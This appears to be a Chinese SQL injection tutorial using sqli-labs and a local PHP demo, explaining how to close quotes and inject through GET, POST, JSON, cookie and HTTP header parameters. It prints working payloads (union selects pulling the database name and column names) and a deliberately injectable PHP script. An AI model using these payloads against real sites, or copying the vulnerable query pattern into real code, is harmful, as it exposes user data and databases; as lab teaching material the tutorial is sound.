前言:
在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方
法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,
后续安全测试中我们也必须满足同等的操作才能进行注入
简要注入方式
数字
- 如果是数字的话可能不存在单引号
- 在数字上加单引号也是有可能的,要看对方的写法
字符
- 一般是采用单引号,如果参数是字符的话那肯定是有单引号的
- 即使有注入也会带入单引号里,产生不了任何作用,所以我们要符号闭合掉
- 也有可能有括号,注入的时候需要去尝试
已知: $name=$_GET['x'] select * from users where name='xiaodi'; 网址上进行注入 ?x=xiaodi and 1=1 对应的SQL语句为 select * from users where name='xiaodi and 1=1'; 我们可以看出,要检查是否有注入点的代码被带入在单引号之中,这样我们就无法进行是否能进行sql语句的判断 我们应该在网站这样写 ?x=xiaodi' and 1=1 --+ 对应的SQL语句为 select * from users where name='xiaodi' and 1=1 --+'; 这样我们就能进行对应的SQL注入的测试,即我们需要先把单引号进行过滤
搜索
将数据进行搜索并进行展示,搜索符号是%,在过滤的时候要过滤单引号和百分号,不然语句全部在单引号和百分号里
- ?x=xiaodi and 1=1
- $sq1=" select from user where name like (’ %xiaodi%') ;
- ?x=xiaodi %') and 1=1 ('%
- $sq1=" select from user where name like (’ xiaodi %') and 1=1 ('%%');
JSON
注: 其中 SQL 语句干扰符号:’ , " ,% , ) , } 等,具体需看写法
简要明确请求方法
————GET,POST,COOKIE,REQUEST,HTTP 头等
GET与POST请求
- 如何知道是GET还是POST呢?
- 打开对应目标网站,按F12,点击其中的network进行数据包的查看,找到Request Headers(请求头)
- 通过bp抓包进行确定
- GET和POST区别在哪?
- 一般大数据会采用POST提交,小数据会采用GET提交
- GET方法会将提交的数据显示在网址中,而POST不会
- GET产生一个TCP数据包;POST产生两个TCP数据包。
- 对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);
- 而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
- GET方法无法接收POST的值
- POST方法下GET的值只要在网址后面就能接收
- 为什么要学习不同的请求呢?
- 不同的请求方式,它请求的数据类型或者大小都不同。在注入的时候需要按照网站的请求方法进行注入或者进行思维转变绕过一些对应的过滤机制
COOKIE请求
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,
两者都是针对数据库的注入,只是表现形式上略有不同罢了。
REQUEST请求
REQUEST 全部接收(如果对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,因为用GET、POST都可以。)
HTTP
有些网站会获取你的设备信息,我们可以从这一个角度进行注入
HTTP_USER_AGENT
$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值
请求方法实例说明
代码:
1.GET方法传值
2.POST方法传值(LESS-11)
3.GET方法无法接收POST的值
4.在POST和GET同时生效的情况下,都会显示
5.在cookie情况下,我们可以看到
6.在REQUEST的情况下,无论是POST和GET提交的数据,都能被接收,就像第4种情况一样。
注意: 对网站进行安全测试的时候,我们大多数是黑盒测试,如果测试后知道对方采用REQUEST接收方式,就不需要考虑用何种方法去提交,但如果对方是单一接收方式,那么在注入的时候必须要用它的方法进行注入
7.$_SERVER是PHP里内置变量,全局变量,PHP写脚本时用它来获取系统的值,在数据包的某一个地方可以进行注入
注: 我们可以对数据包部分进行注入的相关操作即写入注入代码,这是所谓的HTTP头部注入!
操作演示
参数字符型注入测试=>sqlilabs less 5 6
?id=1' and 1=2 --+ (less 5)
- 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
?id=1" and 1=2--+ (less 6)
- 因为进行测试的时候没有对应回显,我们需要用到后面的知识点——盲注,我们先跳过这个
POST 数据提交注入测试=>sqlilabs less 11
http://127.0.0.1/sqlilabs/Less-11/post提交uname=admin' and 1=1#&passwd=admin&submit=Submit
参数 JSON 数据注入测试=>本地环境代码演示
代码:
username; //$passwd=$json->passwd; $mysqli=new mysqli(); $mysqli->connect('localhost','root','root'); if($mysqli->connect_errno){ die('数据库连接失败:'.$mysqli->connect_error);} $mysqli->select_db('security'); if($mysqli->errno){ dir('打开数据库失败:'.$mysqli->error); } $mysqli->set_charset('utf-8'); $sql="SELECT * FROM users WHERE username='{$username}'"; echo $sql; $result=$mysqli->query($sql); if(!$result){ die('执行 SQL 语句失败:'.$mysqli->error); }else if($result->num_rows==0){ die('查询结果为空'); }else { $array1=$result->fetch_all(MYSQLI_ASSOC); echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}"; } $result->free(); $mysqli->close(); } ?>
搭建后地址:ctf.tmzo.club/json/
http://127.0.0.1/json.phppost提交:json={"username":"Dumb' and 1=2 union select 1,database(),3#"}
http://127.0.0.1/json.phppost提交:json={"username":"Dumb555' union select 1,database(),3#"}
以上两个都可以
注:
- 我们可以发现,json类型是具有一定格式的,我们只需要知道就是它的格式是怎样的,重点知道双引号" "这个是固定有的一个符号,不需要我们进行过滤,所以我们只需要和上面的方法过滤相关符号即可
- 格式如下名字={"name":" 'aming' ","sex" :" 'nan' ",}
COOKIE 数据提交注入测试=>sqlilabs less 20
抓cookie,,,Cookie: uname=1' and 1=2 union select 1,2,3#
Cookie: uname=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'#
HTTP 头部参数数据注入测试=>sqlilabs less 18
- 查看源码后发现,SQL注入语句用到的是insert,这涉及到后面的内容,后续操作等教到再说。我们只要知道我们可以通过这种方式进行注入即可